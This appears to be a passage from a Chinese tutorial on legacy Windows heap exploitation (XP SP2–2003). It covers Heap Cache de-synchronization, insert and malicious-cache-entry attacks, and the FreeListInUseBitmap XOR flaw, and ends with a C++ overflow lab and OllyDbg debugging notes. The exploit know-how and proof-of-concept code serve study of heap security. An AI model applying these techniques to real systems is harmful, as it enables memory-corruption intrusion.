  3. 重新编译程序,仍然通过 INT 3 指令中断程序,等 OllyDbg 启动好后在 0x00401052处,即 h2 申请空间调用 HeapAlloc 函数时下断点。然后按 F8 键单步运行程序,等 h2 申请空间结束后在 0x003906B8 下断点,按 F9 键让程序运行,如果 OllyDbg 提示出现除 0 异常,就按 一下 Shift+F9 键让程序继续运行,就会看到程序在 0x003A06B8 处中断,这说明我们已经成功劫持程序流程,开始转入 shellcode 中执行了

  4. 可见新 chunk 块首的信息会影响程序的正常执行,因此需要一个短跳转指令跳过这些垃圾代码。 由于 0x003A06B8 处存放是旧 chunk 的 Flink,所以不妨选择一个含有跳转指令机器码的地址来 覆盖旧 chunk 的 Flink,于是 0x003A06EB 这个地址被抽中了

  5. 第二个跳转是指令是为了绕过伪 造的 chunk 块首信息影响程序流程,经过计算跳转到弹出对话框的机器码位置需要 49(0x31) 从此字节,所以我们将第二个跳转指令设置为 0xEB31。执行完该跳转指令后执行弹出对话框的机器码

  6. 测试结果:


3.5.7 Heap Cache内部原理介绍

1. 堆缓存调用

​ 当堆管理器发现Freelist[0]中有很多个块的时候,堆缓存才会被激活。实际的初始化和同步工作是由**RtlpInitializeListIndex()**这个函数来完成的。以下有两条 相关堆管理器的指标,满足任何一个都有可能引起堆缓存被激活。

1)在FreeList[0]中至少同时存在32个块

原理

​ 第一个启发式方法是关于FreeList[0]中碎片的统计。

​ 每次堆管理器增加一个空闲块到FreeList[0]的双向链表, 它将会调用RtlpUpdateIndexInsertBlock() 这个函数。 同样, 在删除一个空闲块的时候, 它会调用**RtlpUpdateIndexRemoveBlock()**这个函数。

​ 在堆缓存被调用之前, 这两个函数都维持一个计数,这个计数是堆管理器用来统计FreeList[0]中空闲的块的数目,在系统观察到当有32个条目存在的时候, 它便会通过调用RtlpInitializeListIndex()来激活堆缓存

攻击者利用同时存在超过32个块这种方法激活堆缓存

​ 如果一个攻击者可以通过目标程序控制所有的分配和释放, 他们可以找到一个可能的请求或活动模式,这将激活堆缓存。举个例子, 在一个相对干净的堆中, 下面的代码在循环32次之后, 将会激活堆缓存:

c++ 复制代码
for (i = 0; i < 32; i++)
{
	b1 = HeapAlloc(pHeap, 0, 2048+i*8);
	b2 = HeapAlloc(pHeap, 0, 2048+i*8);
	HeapFree(pHeap,0,b1);
}

​ 这个过程将会创建包围在非空闲块周围的空闲块。每循环一次,分配的大小将会被增加, 所以现存的堆将不能够满足,在活动堆中,如果有足够多的迭代,象这样的模式最终会触发同步块启发

2)有256个块必须已经被分配。

原理

​ 第二个启发式的方法存在于**RtlpDeCommitFreeBlock()**这个函数中,。

​ RtlpDeCommitFreeBlock()主要实现了处理撤销提交过程的逻辑。如果系统从进程的生命周期开始共撤销 256块,这将会激活堆缓存。 当堆缓存被激活后, 它将会改变系统撤销提交的策略。这些改变的实质是执行很少的撤销委托却可以保存更大的空闲块。

利用撤销提交激活堆缓存

​ 对于某一些应用程序, 攻击者可能会很轻易的利用这种机制。为了触发这种机制, 攻击者需要在一个进程的生命周期中撤销超过256块。 为了撤销提交某个块, 它需要在堆中至少64k空闲的数据(被释放的块将被计入总数)。此外,这个块必须大于一页。

​ 最简单的造成这种情况发生的办法, 是分配和释放大小为64K或更高的256 倍。以下是一个简单例子:

c++ 复制代码
for (i = 0; i < 256; i++)
{
	b1 = HeapAlloc(pHeap, 0, 65536);
	HeapFree(pHeap,0,b1);
}

​ 如果堆的大小已经接近64k或者还在人为的增长, 也可以使用更小的缓冲区。如果需要,可以使用合并的方式来获得足够大的块来释放

2. 撤销策略(De-committing Policy)

基本逻辑

​ 当堆缓存被关闭,假设空闲列表中至少有 64k 空闲块,堆管理器通常会将大小超过 1 页的空闲块取消提交。(被释放的块数将会达到64k,所以一个大小为64k ± 8k的块必然会被撤销提交)

​ 当堆缓存开启时,堆管理器将会避开撤销提交内存,并且把块保存在空闲列表中。

撤销提交(De-committing):主要是将一个大块分割成三个小块。一块连接到下一页的边界,一块包含整体的页面的块,一块含有超过空白页边界的数据的块。这些部分页片是被合并的,并且被放置在空闲列表中(除非它们被合并成很大),整个包围的连续的页面将会被撤销并返回给内核。

3. 遍历堆缓存

​ 堆管理器并没有从Freelist[0]的第一个结点开始依次遍历,而是首先查阅堆缓存。它将会从堆缓存中得到一个结果,这个结果依赖于它的内容,它将会或者直接用这个结果,或者丟弃它,或者把它用为下一步搜索的起点。

​ 在查询堆缓存时,分配和链接的算法都用到RtlFindEntry() 这个函数,但是它们使用这个函数返回的指针的方法不太相同。

RtlFindEntry() 通过堆缓存加快对FreeList[0]的搜索。它传入一个大小的参数,并且返回一个指向FreeList[0]中大小差不多或更大的块的指针。

​ 分配算法:在FreeList[0]中寻找一个合适的块,并把它释放返回给应用程序。

​ 代码将会调用RtlFindEntry()查阅堆缓存。如果找到一个满足大小的条目,RtlFindEntry()并不会根据块头的标记检查这个块的大小,而会直接返回。

​ 一般RtlFindEntry()并不会解引用块中的任何指针和确定它的大小,除非它必须查看catch-all 块(通常 > = 8192 字节)然。它将在FreeList[0]中手动搜索,从指向的那个块开始到所有大于等于8192字节的块。

​ 在RtlAllocateHeap() 中的调用代码将会调用RtlFindEntry()去查看返回的块,如果返回的块太小的话, 它将会改变策略。它不会试着去找一个更大些的块,而是直接放弃,然后扩展堆去满足请求。但它并不会导致产生任何的调试信息或错误。

5. 释放算法------Linking

​ 通常,链接算法要做的是找到一个相同大小或者更大些的块,并且使用这个块的Blink指针,使它插入到自己的双向链表中。

​ 链接代码将会调用RtlpFindEntry()去发现一个和它大小一样或更大的块。如果RtlpFindEntry()返回的块太小了,它将会重新遍历这个列表去找一个更 大的块,而不是直接放弃或报一个错

6. 异步(De-synchronization)

1)异步攻击漏洞成因

​ 前面建立的堆缓存是对存在的FreeList[0]双向链表结构中附加的一个索引。但是该数据结构的索引本身与其它堆数据结构并不同步。这个可以导致多个类型堆元数据的各种破坏,并引发攻击。

​ 这些攻击的基本思想是让堆缓存指向一个非法的内存地址:可以通过改变堆缓存中任意空闲块的大小来去同步堆缓存。根据你的能力去定位内存中的空数组(在缓存索引中)、这可以执行有限的单字节溢出, 对这些内容你没有太多的控制权。

2)攻击特性

​ 当堆缓存从缓存中删除一个条目时,它通过使用这个条目的大小作为索引去查找。

​ 所以如果改变这个块的大小,堆缓存就找不到相对应的块并且删除失败。这将使指向该内存的旧的指针被返回给应用程序。 这个旧的指针被当作一个指向FreeList[0]中特定大小的合法条目, 这可以允许多次攻击。

3)攻击利用

​ 当堆缓存跟FreeList[0]出现异步时,应用程序提供的数据将会被解释成FreeList[0]中堆块的FLink和BLink。因为堆缓存中指针仍会指向该块,并认为该块是空闲状态。所以,堆管理器错误的把新写入的前8个字节解释成FLink和BLink指针。

​ 如果攻击者能够控制这8个字节,他们将会提供恶意的FLink和BLink指针。


以下是这种利用的几个不同的技术, 并与现有的一些攻击技术进行比较:


3.5.8 Heap Cache Attack

1. Basic De-synchronization Attack

1)攻击方式

​ 通过破坏已经被释放并保存在堆缓存中的块的大小。

2)攻击举例

​ ① 上图中, FreeList[0]中有3个块, 大小分别为0x91(0x488 bytes), 0x211 (0x1088 bytes)和0x268 (0x1340 bytes)。其中堆缓存被激活, 并且有与我们的块相对应的条目。 假设我们可以有一个字节溢出在0x154BB0这个块的大小上。这将会使块的大小从0x211变成0x200,将块从0x1088字节收缩成0x1000字节。如下图:

​ ② 现在,我们已改掉0x154BB0处的块的大小, 这与堆缓存中的索引是不同步的。这个块大小为0x211的指针实际上指向了大小为x0200的块

​ ③ 如果这个程序的下一个内存操作是分配一个大小为 0x200 的堆大小,会发生如下操作:

​ a. 堆管理器会搜索大小为 0x200 的块。系统将会进入到堆缓存中,看位图中关于0x200大小的空块,然后扫描堆缓存的位图。会发现一个0x211的入口,然后返回指向0x154BB0这个块的指针

​ b. 现在, 分配例程将会收到搜索的结果, 然后验证它的大小是否满足请求

​ c. 如果满足请求,堆管理器就会把这个块给移除掉。Unlink将调用 RtlpUpdateIndexRemoveBlock(),把该块从FreeList去除掉

​ d. 检测堆缓存, 看0x200的指针是否指向我们的块(当然不是, 因为它为空)。然后函数返回, 并不做任何事情 (堆缓存中指向0x154BB0处的条目并不会被删除)

注意

​ 这个解除链接的操作将会执行, 因为这个块是正确的链接到 FreeList[0]上面的, 但是堆缓存并没有更新。

​ 我们选取0x200大小的分配请求。这个是一个很合适的大小, 它不会有任何分割和重新链接。所以, Unlink将会没有错误发生,。

​ ④ 系统将会返回 0x154BB0处的块给应用程序, 然后系统会有如下的状态:

​ ⑤ 可见FreeList[0]中包含两个块:0x1536A0和0x156CC0。而堆缓存还保留着一条旧的0x154BB0, 这个块已经被系统标记为Busy了。因为它是被占用的块, 应用程序将会开始往它的FLink和Blink条目中写数据。

​ ⑥ 从这开始, 应用程序多次分配大小为0x200的块。每到这个时候, 系统将会去堆缓存中查看, 堆缓存将会返回那条旧的0x211,然后系统就会看到 0x154BB0是足够大能满足这个请求。(并没有去检测标记去确定那个块到底是不是真的空闲)

注意

​ 安全解除链接检测失败并不能阻止攻击,因为失败并不会引起异常或进程终止

3)攻击结果

​ 这个攻击技术的最后结果就是多个独立的分配将会给应用程序返回相同的地址:

c++ 复制代码
HeapAlloc(heap, 0, 0xFF8) returns 0x154BB8
HeapAlloc(heap, 0, 0xFF8) returns 0x154BB8
HeapAlloc(heap, 0, 0xFF8) returns 0x154BB8
HeapAlloc(heap, 0, 0xFF8) returns 0x154BB8
4)总结

攻击总结

​ 如果攻击者可以改变堆缓存指向的块的当前的大小, 那么这个块并不会从堆缓存中删除,并且会保留一个没更新的旧的指针。

​ 攻击的结果是应用程序每次试图去分配 一个特殊的大小, 它将会返回一个相同的指针指向一个已经被使用的内存块。能不能够被利用依赖于应用程序如何处理这个内存。

​ 通常, 你得找到一种情况, 指针指向一个对象或一个函数和攻击者提供的数据为基础的相同的逻辑位置。然后, 你需要试着去创建一系列的指针被处理的事件顺序, 用户可控的数据将会被存贮, 然后坏的指针将会被使用

先决条件

  • 攻击者必须能够写入一个块的当前大小字段,这个块必须得是空闲的且存在于堆缓存中

  • 攻击者必须能够预测应用程序将要请求的未来分配大小。

  • 攻击者必须避开引起分割和重组的分配。

  • HeapAlloc ()为独立请求错误地返回相同的地址必须在应用程序中创建一 个可利用的条件

2. Insert Attack

1)攻击方式

​ 如果攻击者可以改变堆缓存中指向的块的大小,这个块并不会从堆缓存中被移除,并且,这个旧的指针将会被保留。如果攻击者可以使得应用程序从旧的指 针处分配一个堆块,并且攻击者可以控制堆中的内容,它将可以提供恶意的FLink 指针和BLink指针

2)攻击举例

​ ① 下图中, FreeList[0]中有3个块, 大小分别为0x91(0x488 bytes), 0x211 (0x1088 bytes)和0x344 (0x1A20 bytes)。其中堆缓存被激活,

​ ② 对0x1574D0处的块进行1字节的覆盖,改变该块的大小

​ ③ 假设应用程序申请一个0x1FF的块

​ a. 假设攻击者可以控制并在它通过HeapAlloc()调用前,将前几个字节覆盖掉。将Flink改为0xAABBCCDD,将Blink改为0x1506EB(Lookaside[2]的块的基址:0x150688+0x30*2)

​ b. 再调用HeapAlloc申请一个块,将会发生如下事情:

​ ⅰ.我们破坏的堆块将会从合法的 FreeList[0]上被移除,因为当移除时它的结点是正确的

​ ⅱ.堆缓存中仍保存了关于0x211 的条目,但它是不正确的,并且它指向一个大小为0x200的块

​ ④ 我们需要应用程序释放一个小于 0x200但大于0x91的块。这将导致堆管理器将这个释放的块放到我们破坏的那个块之前:假设应用程序释放了大小为0x1f1的块,将会发生如下事情:

c++ 复制代码
afterblock = 0x1574d8;
beforeblock = afterblock->blink; // 0x1506e8
newblock->flink = afterblock; // 0x1574d8
newblock->blink = beforeblock; // 0x1506e8
beforeblock->flink = newblock; // *(0x1506e8)=newblock
afterblock->blink = newblock; // *(0x1574d8 + 4)=newblock

​ 堆管理器将会将我们块的地址写到 look-aside 表的 0x1506e8 处。这将会用我们自己的结构来代替任何已存在的 look-aside 表的结构,如下:

c++ 复制代码
lookaside base(0x1506e8) -> newblock(0x154bb8)
newblock(0x154bb8) -> afterblock(0x1574d8)
afterblock(0x1574d8) -> evilptr(0xAABBCCDD)

​ ⑤ 此时,从 look-aside 表中进行三次分配后,将会把我们任意写好的地址,0xaabbccdd 返回给应用程序

3)总结

攻击总结

​ 如果攻击者可以改变堆缓存中指向的块的大小,这个块并不会从堆缓存中被移除,并且,这个旧的指针将会被保留。如果攻击者可以使得应用程序从旧的指 针处分配一个堆块,并且攻击者可以控制堆中的内容,它将可以提供恶意的FLink指针和BLink指针。

​ 当一个新块被链入FreeList[0]的时候,攻击者可以将FLink和BLink覆盖成 look-aside表的基址。攻击者可以将一个新块插入到坏的那条堆缓存条目之前,所以新块的地址将会被攻击者控制的BLink的指针覆盖。 由于BLink指向一个look-aside表的基址,攻击者便可以提供他们自己的单链表结构,并且,之前任意写入的FLink指针在以后的分配中会应用到。

​ 攻击的最终结果是,通过显式控制返回给分配请求的地址,攻击者可以获得写 入任意地址的攻击者控制的数据

先决条件

  • 攻击者必须能够修改在堆缓存中存在的,并且是空闲块的大小
  • 攻击者必须预测后随后应用程序会有分配请求
  • 攻击者必须避开可以导致分割或重新链入的破坏的块,或者准备初始化数组防 止被合并
  • 攻击者必须控制通过堆缓存分配的堆块的前两个DWORD

3. 把异步大小作为目标(De-synchronization Size Targeting)

1)攻击方式

​ 如果攻击者将一个特殊的分配大小作为目标,一个伪造的FreeList[0]将会被创建,并且在堆缓存中一个特殊的条目将会被创建

​ 如图,FreeList[0]有一个头结点和两个条目(0x155Fc0和0x1595e0)它们是有效的并且和堆缓存条目同步。还有一个旧的不同步的条目(0x92)在堆缓存中,它指向了一个伪造的FreeList[0],这个Freelist[0]没有头节点。

​ 如果通过选择堆缓存中这个恶意的条目链接了新的 空闲块,新插入的条目将会被插入到这个伪造的freeList[0]中。这条list仅仅能通过堆缓存到达,它不会通过正常的搜索freeList[0]被访问

2)攻击举例

① 分配算法------Unlilnking:三种情况,不太适用

  • 当请求小于等于0x91时,这个合法的0x91的块将会被使用并返回
  • 当请求为0x92时,它将会试着去使用那条恶意的free list,但是看到它太小而不处理这个请求。因此,它将会放弃这个恶意的free list 并且对堆进行扩展,然后使用新的内存去满足这个分配请求(当将块的大小设为非常小时,这种情况将会发生)
  • 如果请求0x93大小的块,它将会使用合法的free list去搜索

② 释放算法------Linking(链接搜索):比较适用

  • 如果搜索一个小于等于0x91的块,那么那么合法的freelist中的大小为0x91的堆块将会被返回
  • 如果搜索大小为0x93的块,那个合法的freelist将会被使用
  • 如果搜索0x92,这个恶意的Ifreeklist会被使用。在链接时,它将会发现它的大小有点小,然后它将会跟着恶意的Flink去继续找

4. Malicious Cache Entry Attack

1)攻击原理

​ 正常情况下,堆缓存中保存的大小,即是指向的堆块本身的大小,并且,最后一条将会指向FreeList[0]中的第一条,那个对于堆缓存来说太大了以至于不能去索引。下图展示了正常情况下堆块和堆缓存的情况:

​ 大小为0x100的条目指向 0x155Fc0处的堆块。而0x155FC0处的堆块指向0x1574D0, 这个堆块在堆缓存中并没有索引。在0x1595E0处,还有一个大小为0x101的块,它在堆缓存中有索引。

​ 当 0x155FC0从堆缓存中移除的时候,这个大小为 0x100 的条目将会被更新为 0x1574D0。如果 0x1574D0 处的块被移除,那么它将指向 NULL。

​ 移除算法主要是通过堆块的FLink指针来在FreeList[0]中寻找下一个块。如果那个块有合适的大小,它会设置堆缓存条目。对于catch-all的条目,它将不会解引用FLink指针,因为它不需要对大小进行匹配。(它仅仅需要确定在 FreeList[0]中是否不是最大的块)。

​ 所以,当攻击者通过内存破坏提供一个恶意的FLink的值,并且这是一个 常的指向合适的值的一个指针,这个指针将会被更新到堆缓存表里去

2)攻击方式

​ 将攻击者可控的指针直接插入堆缓存中。

​ 当一个有效的块从堆缓存中移除的时候,代码将会把这个块的FLink指针更新到堆缓存中,如果FLink被破坏,这将会导致可被利用的环境。如果没有合适的块,它将会把指针置为NULL,并且清空它的bitmap中的位。

3)攻击举例

① 对于不在catch-all的条目

​ a. 对于如上块,假设攻击者知道这个块的大小,并且覆盖成如下:将该块的Flink改为0x150210,利用了空表的结点将会指向它本身这一点

​ b. 此时0x15208处的块将会被解释成如下:

​ c. 让应用程序分配内存直到这个恶意的0x150210的值被写入堆缓存大小为0x208的地方

​ d. 下一次分配大小为0x208时,将会把0x150210处的块返回给应用程序,这将允许攻击者去覆盖一些堆块头部的数据结构。 最简单的方法就是覆盖为0x15057C处的指针,这个地址在下一次堆扩展的时候 将会被调用

② 对于在catch-all中的块

​ a. 对于如上块,假设攻击者知道该块块大于等于8192字节,将其覆盖为如下块:

​ b.此时该块被解释为如下:

​ c. 假设你可以通过偶然的BUSY标志或其它计划导致的合并,并且每个大小大于等 于0x400(8192/3)的块都会被分配,你提供的恶意的FLink,即0x150570的指针将会被更新到堆缓存中

​ e. 下一个在8192和11072中间的分配请求将会返回0x150578, 这将允许你覆盖0x15057c处的commit函数的指针

4)总结

攻击总结

​ 如果攻击者能够覆盖FreeList[0]中的大块的FLink指针,这个值将会被更新到堆缓 存中。当程序下一次试图分配这个大小的块时,它将会返回给攻击者可控的指针。

先决条件

  • 攻击者必须能够覆盖空闲块的FLink指针
  • 攻击者必须能够引起堆缓存中的分配
  • 攻击者必须提供一个可预测的分配,目标是破坏的堆缓存的条目

3.5.9 Bitmap XOR Attack

1. 漏洞成因

1)如何利用FreeListInUseBitmap来定位一个足够大的空块:
c++ 复制代码
/* coming into here, we've found a bit in the bitmap */
/* and listhead will be set to the corresponding FreeList[n] head*/
_LIST_ENTRY *listhead = SearchBitmap(vHeap, aSize);
/* pop Blink off list */
_LIST_ENTRY *target = listhead->Blink;
/* get pointer to heap entry (((u_char*)target) - 8) */
HEAP_FREE_ENTRY *vent = FL2ENT(target);
/* do safe unlink of vent from free list */
next = vent->Flink;
prev = vent->Blink;
if (prev->Flink != next->Blink || prev->Flink != listhead)
{
	RtlpHeapReportCorruption(vent);
}
else
{
	prev->Flink=next;
	next->Blink=prev;
}
/* Adjust the bitmap */
// make sure we clear out bitmask if this is last entry
if ( next == prev )
{
	vSize = vent->Size;
	vHeap->FreeListsInUseBitmap[vSize >> 3] ^= 1 << (vSize & 7);
}
2)更新空表位图状态的代码问题
  • 算法通过判断 if (next == prev) 去确定FreeList是否为空。这是一 个很简单的情况,如果有16个字节的覆盖去欺骗,它仍然会继续执行,不顾安全删除失败.

  • 代码从FreeList[n]中得到块的大小, 并且在更新 FreeListInUseBitmap(vSize = vent->Size;)时使用它做索引。但是大小也可以被伪造,当堆块元数据覆盖时, 这将导致一种不同步的情况

  • 当FreeList[n]为空的时候, 并没有直接把FreeListInUseBitmap 置为0,而是通过异或操作,意味着如果我们覆盖了一个块的大小, 就可以触发任意位. 这就允许我们设置类似前面提到的攻击情况

  • 在被用进入FreeListInUseBitmap的索引时, 大小并没有被验证是否小于0x80. 意味着我们可以在半任意的地方设置位然后绕过 FreeListInUseBitmap

3)攻击手段

​ 在更新空表位图状态时,以当前堆块的Size字段作为索引,且在之前未有适当的安全检测机制,可能会导致空表位图状态与实际空表状态不同步的效果,最终通过利用漏洞会达到任意地址写任意数据的效果

2. 利用方式

​ 在每次空表中的堆块进行Unlink操作后会判断相应的空表位图是否需要更新,若Unlink的堆块为该空表中的最后一个堆块,则会对堆块当前Size字段对应的空表位图做异或操作。在基于堆溢出的场景中,该算法中存在多处漏洞。

只覆盖块的大小字段

1)首先构造只存在一个堆块的空表且与该堆块相邻前一堆块存在堆溢出的场景:

2)若此时上方堆块只存在单字节溢出漏洞,即仅能覆盖到空表中堆块的Size字段。在对空表中堆块进行Unlink操作前,先将其Size字段篡改为8*n,如图所示

3)按照空表位图更新算法,该堆块会正常进行Unlink操作,并且会执行更新空表位图的代码。但是由于Size字段已被覆盖,导致在索引空表位图时不再是Bitmap[x]而是Bitmap[n],然后对索引到的空表位图做异或操作,即Bitmap[x]不改变,Bitmap[n]进行反转。如图所示

4)此时x号空表中没有堆块,表头的前项指针和后项指针都指向自身,并且对应的空表位图置位为1,所以堆管理器认为x号空表中仍有空闲堆块。在下一次申请8*x大小的堆块时,则会将Freelist[x].Blink指向的地址作为堆块分配给用户使用,即将8*x大小的空表表头当做堆块,在用户进行编辑后的第二次申请编辑时即可造成任意地址写任意数据。

覆盖到堆块的前项和后项指针字段

1)将前项指针和后项指针覆盖为相同值,此时按照空表位图更新算法,在Safe Unlink的安全检测机制处会被检查出来,且不会对该堆块执行Unlink操作,而是调用了RtlpHeapReportCorruption()(在现阶段的版本中该函数不会导致进程结束)。因此,prev和next并未被新赋值,仍然为覆盖后相等的状态,因此会被判断为需要更新空表位图,并且此时的Size字段也是在堆溢出的覆盖范围内

2)由于Size字段已被覆盖,导致在索引空表位图时不再是Bitmap[x]而是Bitmap[n],然后对索引到的空表位图做异或操作,即Bitmap[x]不改变,Bitmap[n]进行反转

3)此时x号空表中没有堆块,表头的前项指针和后项指针都指向自身,并且对应的空表位图置位为1,所以堆管理器认为x号空表中仍有空闲堆块。在下一次申请8*x大小的堆块时,则会将Freelist[x].Blink指向的地址作为堆块分配给用户使用,即将8*x大小的空表表头当做堆块,在用户进行编辑后的第二次申请编辑时即可造成任意地址写任意数据。

注意:由于跳过了Unlink的赋值,prev和next始终相等,一定会更新空表位图。因此不需要满足被溢出堆块为其空表中的唯一一个堆块的条件,应用场景更加广泛

3. 攻击举例

​ 只覆盖块的大小字段。

注意:具体实验中由于从FreeList[x]处分配数据,会把FreeList[x].Flink处当作块的用户数据,此时块头为FreeList[x-1],由于该块头数据不对,所以会造成后续切割块造成崩溃

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 -- Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
c++ 复制代码
#include <windows.h>
char shellcode1[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x1D\x00\x1A\x00\x2C\x00\x0E\x00"
;

char shellcode2[]=
"\xAA\xAA\xAA\xAA\x90\x90\x90\x90\x90\x90"
"\x90\x90";


int main()
{
	HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0, h5 = 0, h6 = 0, h7 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,209);
	__asm int 3 
	HeapFree(hp,0,h1);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h5);
	memcpy(h4,shellcode1,208); 
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
	HeapFree(hp,0,h2);
	HeapFree(hp,0,h4);
	h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
	//memcpy(h7,shellcode2,12);
	
	return 0;
}
实验过程
  1. 直接运行程序,在OllyDbg中单步调试,当将h5块头溢出时,查看堆块状态,堆块大小已被改为1D

  2. 此时查看空表索引,由于h5堆块还在FreeList[27]处,所以该处空表位图的索引置位

  3. 继续运行,申请h5堆块,查看空表位图,此时该处空表位图索引仍为置位,证明此时已骗过空表位图

  4. 查看堆块状态,发现h5堆块已为占用状态,但该处空表位图索引置位,空表位图认为该块仍未空闲

  5. 继续运行,由于再次申请和h5大小一样的堆块会导致崩溃,所以进入HeapAlloc函数,在0x7C930C63处下断点,然后按F9运行到此处

    0x7C930C63处伪代码如下:

    c++ 复制代码
    FreeListHead = v14;
    if ((_WORD)FreeListInUseUlong)
    {
    	if ((_BYTE)FreeListInUseUlong)
    		v15 = RtlpBitsClearLow[(unsigned __int8)FreeListInUseUlong];
    	else
    		v15 = RtlpBitsClearLow[BYTE1(FreeListInUseUlong)] + 8;
    }
    else if (BYTE2(FreeListInUseUlong))
    {
    	v15 = RtlpBitsClearLow[BYTE2(FreeListInUseUlong)] + 16;
    }
    else
    {
    	v15 = RtlpBitsClearLow[HIBYTE(FreeListInUseUlong)] + 24;
    }
    FreeListHead = &v14[4 * v15];
    BusyBlock_ = *((_DWORD *)FreeListHead + 1) - 8;
    v189 = (unsigned __int16 *)BusyBlock_;
    v21 = *(_DWORD *)(BusyBlock_ + 8);
    v144 = v21;
    v22 = *(int **)(BusyBlock_ + 12);
    v167 = v22;
    if (*v22 == *(_DWORD *)(v21 + 4) && *v22 == BusyBlock_ + 8)
    {
    	*v22 = v21;
    	*(_DWORD *)(v21 + 4) = v22;
    }
    else
    {
    	RtlpHeapReportCorruption((const void *)(BusyBlock_ + 8));
    	v22 = v167;
    }

    源码中为如下:

    c++ 复制代码
    FreeListHead += RtlFindFirstSetRightMember( FreeListsInUseUlong );
    //获取FreeBlock
    FreeBlock = CONTAINING_RECORD( FreeListHead->Blink,
                                   HEAP_FREE_ENTRY,
                                   FreeList );
    //Unlink代码
    RtlpFastRemoveDedicatedFreeBlock( Heap, FreeBlock );
    
    //后续代码为分割块的过程
  6. 继续运行,可见FreeListHead被赋值为0x3A0250,即FreeList[27].Flink(即堆块的用户区地址)

  7. 继续运行,发现BusyBlock被赋值为0x003A0248,即将FreeList[26].Flink作为该堆块的块头

  8. 继续运行,直到0x7C930F2C处,该处代码即为分割块的过程(具体信息可见RtlAllocateHeap源码分析中切割块的部分)。运行完此句代码后从该堆块块头取出该块大小,因为FreeList[26].Flink和FreeList[27].Blink都指向他本身0x003A0248,所以取出大小为0248,此时块大小错误,后面引起分割块,导致崩溃

    0x7C930F2C处代码如下:

    c++ 复制代码
    FreeSize = BusyBlock->Size - AllocationIndex;